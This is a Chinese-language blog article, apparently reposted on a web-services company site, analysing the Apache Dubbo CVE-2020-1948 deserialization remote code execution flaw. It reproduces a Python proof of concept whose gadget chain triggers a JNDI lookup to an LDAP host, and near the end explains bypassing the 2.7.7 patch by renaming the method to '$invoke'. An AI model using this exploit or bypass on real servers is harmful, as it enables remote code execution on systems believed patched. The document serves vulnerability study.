這篇文章將為大家詳細講解有關如何進行Apache dubbo 反序列化遠程代碼執(zhí)行漏洞及其補丁繞過深度分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
創(chuàng)新互聯(lián)建站專業(yè)為企業(yè)提供濰坊網(wǎng)站建設、濰坊做網(wǎng)站、濰坊網(wǎng)站設計、濰坊網(wǎng)站制作等企業(yè)網(wǎng)站建設、網(wǎng)頁設計與制作、濰坊企業(yè)網(wǎng)站模板建站服務,十余年濰坊做網(wǎng)站經(jīng)驗,不只是建網(wǎng)站,更提供有價值的思路和整體網(wǎng)絡服務。
Dubbo是一個分布式服務框架,致力于提供高性能和透明化的RPC遠程服務調(diào)用方案,以及SOA服務治理方案。簡單的說,dubbo就是個服務框架,如果沒有分布式的需求,其實是不需要用的,只有在分布式的時候,才有dubbo這樣的分布式服務框架的需求,并且本質(zhì)上是個服務調(diào)用的東東,說白了就是個遠程服務調(diào)用的分布式框架(告別Web Service模式中的WSdl,以服務者與消費者的方式在dubbo上注冊) 其核心部分包含:
遠程通訊: 提供對多種基于長連接的NIO框架抽象封裝,包括多種線程模型,序列化,以及“請求-響應”模式的信息交換方式。
集群容錯: 提供基于接口方法的透明遠程過程調(diào)用,包括多協(xié)議支持,以及軟負載均衡,失敗容錯,地址路由,動態(tài)配置等集群支持。
自動發(fā)現(xiàn): 基于注冊中心目錄服務,使服務消費方能動態(tài)的查找服務提供方,使地址透明,使服務提供方可以平滑增加或減少機器。
下圖是來自Apache dubbo 官網(wǎng)的工作流程和原理
Provider
暴露服務方稱之為“服務提供者”
Consumer
調(diào)用遠程服務方稱之為“服務消費者”
Registry
服務注冊與發(fā)現(xiàn)的中心目錄服務稱之為“服務注冊中心”
Monitor
統(tǒng)計服務的調(diào)用次調(diào)和調(diào)用時間的日志服務稱之為“服務監(jiān)控中心”
Container
服務運行容器。
Provider將本地提供的遠程方法在注冊中心進行注冊,Consumer需要調(diào)用時會先去注冊中心進行查詢,根據(jù)注冊中心返回的結(jié)果再去對應的Provider中調(diào)用對應的遠程方法,如果有變更,注冊中心將基于長連接推送變更數(shù)據(jù)給Consumer 。
啟動注冊中心,Apache dubbo 推薦使用的注冊中心時Apache ZooKeeper注冊中心 下載地址https://zookeeper.apache.org/releases.html
啟動ZooKeeper之前可以自定義修改 “/conf/zoo.cfg”配置文件里的 clientPort和dataDir的值。
Apache Dubbo有一個web端的管理界面 github地址如下https://github.com/apache/dubbo-admin
下載完成后進入/dubbo-admin-server/src/main/resources目錄修改application.properties配置文件,將其中的注冊中心地址修改為自己啟動的注冊中心的地址
dubbo-admin-server 目錄下運行 mvn package -Dmaven.test.skip=true 將該模塊打包成jar包
然后 java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar 啟動dubbo-admin-server,此時啟動了 dubbo管理的服務端但是沒有UI界面。
進入到 dubbo-admin-ui 中 執(zhí)行 npm install 該命令執(zhí)行完成后 執(zhí)行npm run dev 。
訪問http://localhost:8081 此時就有了UI界面,默認賬號密碼都是root,在服務查詢中 我們可以看到Provider在Zookeeper注冊中心中注冊的遠程方法服務,目前沒有注冊所以無可用數(shù)據(jù)。
啟動我們使用dubbo框架寫的程序
可以看到我們的遠程方法服務成功在zookeeper注冊中心進行注冊
首先觀察一下網(wǎng)上已經(jīng)公布的POC的代碼
from hessian2 import new_object from client import DubboClient client = DubboClient('127.0.0.1', 20880) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8087/ExploitMac", strMatchColumns=["fxx"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='com.example.provider.service.UesrService', method_name='test', args=[toStringBean])
不難看出,該漏洞利用鏈最終是通過JdbcRowSetImpl調(diào)用jndi來進行遠程代碼執(zhí)行。同時我們發(fā)現(xiàn)該gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用
<dependency><groupId>com.rometools</groupId><artifactId>rome</artifactId><version>1.7.0</version> </dependency>
通過wireshark抓包來看一下 POC發(fā)出的報文內(nèi)容
我們將斷點打在 org.apache.dubbo.remoting.transport.DecodeHandler 的第57行代碼上。
跟進該方法后可以看到該方法內(nèi)首先會進行一個if判斷,判斷完成后會調(diào)用DecodeableRpcInvocation.decode()方法并傳遞進去兩個參數(shù),其中有一個inputStream參數(shù),我們詳細看一下該參數(shù)的內(nèi)容
可以看到正是我們通過POC發(fā)送的序列化數(shù)據(jù)
跟進該方法,在第131行代碼處有一個if判斷,這里通過RefctUtils.desc2classArray()處理完desc參數(shù)然后返回一個ToStringBean的類對象。
緊接著通過Hessian將ToStringBean的類對象反序列化成ToStringBean對象并賦值給args參數(shù)
仔細觀察一下此時args指向的ToStringBean對象的詳細內(nèi)容,可見此時ToStringBean對象有兩個屬性已經(jīng)被賦值為JdbcRowSetImpl。
當前方法執(zhí)行完成后 args參數(shù)和pts參數(shù)分別被賦值給當前對象的arguments屬性和parameterTypes屬性,然后當前DecodeableRpcInvocation作為參數(shù)進行返回
返回到DecodeHandler中,在第51行代碼中傳入的message參數(shù)是一個Request對象,該Request對象是dubbo的包中的,簡單看一下該對象的詳細信息
跟進該方法,然后繼續(xù)跟進handleRequest()方法。
在DubboProtocol類的第263行代碼中經(jīng)過一個if判斷然后判斷成功會拋出一個RemotingException,關鍵點就在這里,可以看到傳入的參數(shù)中采用了字符串拼接的形式,當使用字符串拼接的時候,會自動調(diào)用StringBuilder的對象的append方法,依次處理channel.getRemoteAddress()的返回值,channel.getLocalAddress()的返回值,getInvocationWithoutData(inv)的返回值,而getInvocationWithoutData(inv)的返回值正式含有惡意請求的DecodeableRpcInvocation對象,StringBuilder要調(diào)用DecodeableRpcInvocation的toString方法將其轉(zhuǎn)化為字符串
DecodeableRpcInvocation類的父類RpcInvocation重寫了toString方法,看一下RpcInvocation.toString()方法的實現(xiàn)
同樣還是字符串拼接,其中Arrays.toString(arguments),agruments正是之前封裝進DecodeableRpcInvocation對象中的ToStringBean對象。接下來自然會調(diào)用ToStringBean.toString()方法。
ToStringBean.toString()方法,執(zhí)行時取出其中的obj屬性獲取其類名稱,并作為參數(shù)傳入另一個重寫的toString方法
該toString方法中會通過反射不斷調(diào)用JdbcRowSetImpl對象的各個方法,當反射調(diào)用JdbcRowSetImpl對象的getDatabaseMetaData方法時,會觸發(fā)JDNI遠程訪問dataSource
我們可以看到dataSource的值
至此Apache dubbo (CVE-2020-1948) 反序列化遠程代碼執(zhí)行漏洞原理分析完畢
這次針對該漏洞的補丁非常簡單,在分析該漏洞時說過在DecodeableRpcInvocation類的第131行有一個if 判斷,以下是2.7.6版本中該判斷的代碼
更新后的2.7.7版本該判斷的代碼如下,可見在該判斷內(nèi)有增加了一個if 判斷,且新增加的判斷如果判斷失敗則會拋出IllegalArgumentException異常終止當前線程的執(zhí)行。
那么如何繞過該判斷讓程序繼續(xù)執(zhí)行下去從而觸發(fā)遠程代碼執(zhí)行,我們跟入RpcUtils.isGenericCall()方法中來仔細觀察。
不難發(fā)現(xiàn)該方法內(nèi)用僅僅只用String.equals方法對比了method參數(shù)是否和$INVOKE常量或者$INVOKE_ASYNC常量的值相同。
我門看一下兩個常量的值
我們此時 method的值為“test”可見并不相同,緊接著進入RpcUtils.isEcho()方法,同樣是和常量進行對比,顯然結(jié)果也不相同
所以if 判斷內(nèi)的最終結(jié)果為true,從而拋出異常終止執(zhí)行。繞過的方法相比大家也都想到了,我們只要讓method的值等于“$invoke”,“$invokeAsync”,“$echo”任意一個即可繞過。我們返回POC中查看與method對應的值是哪一個
一眼就能發(fā)現(xiàn)其中的method_name就是我們要找的,我們只需要修改‘test’為‘$invoke’即可對當前補丁進行繞過。
此次漏洞是序列化傳輸?shù)胶笈_的數(shù)據(jù)被翻序列化完成后,在后續(xù)的處理過程中的一個異常處理中進行了危險操作,從而觸發(fā)了gadget。
關于如何進行Apache dubbo 反序列化遠程代碼執(zhí)行漏洞及其補丁繞過深度分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
網(wǎng)頁名稱:如何進行Apachedubbo反序列化遠程代碼執(zhí)行漏洞及其補丁繞過深度分析
文章路徑:http://muchs.cn/article42/gdojhc.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供移動網(wǎng)站建設、外貿(mào)網(wǎng)站建設、網(wǎng)站導航、自適應網(wǎng)站、網(wǎng)站收錄、商城網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)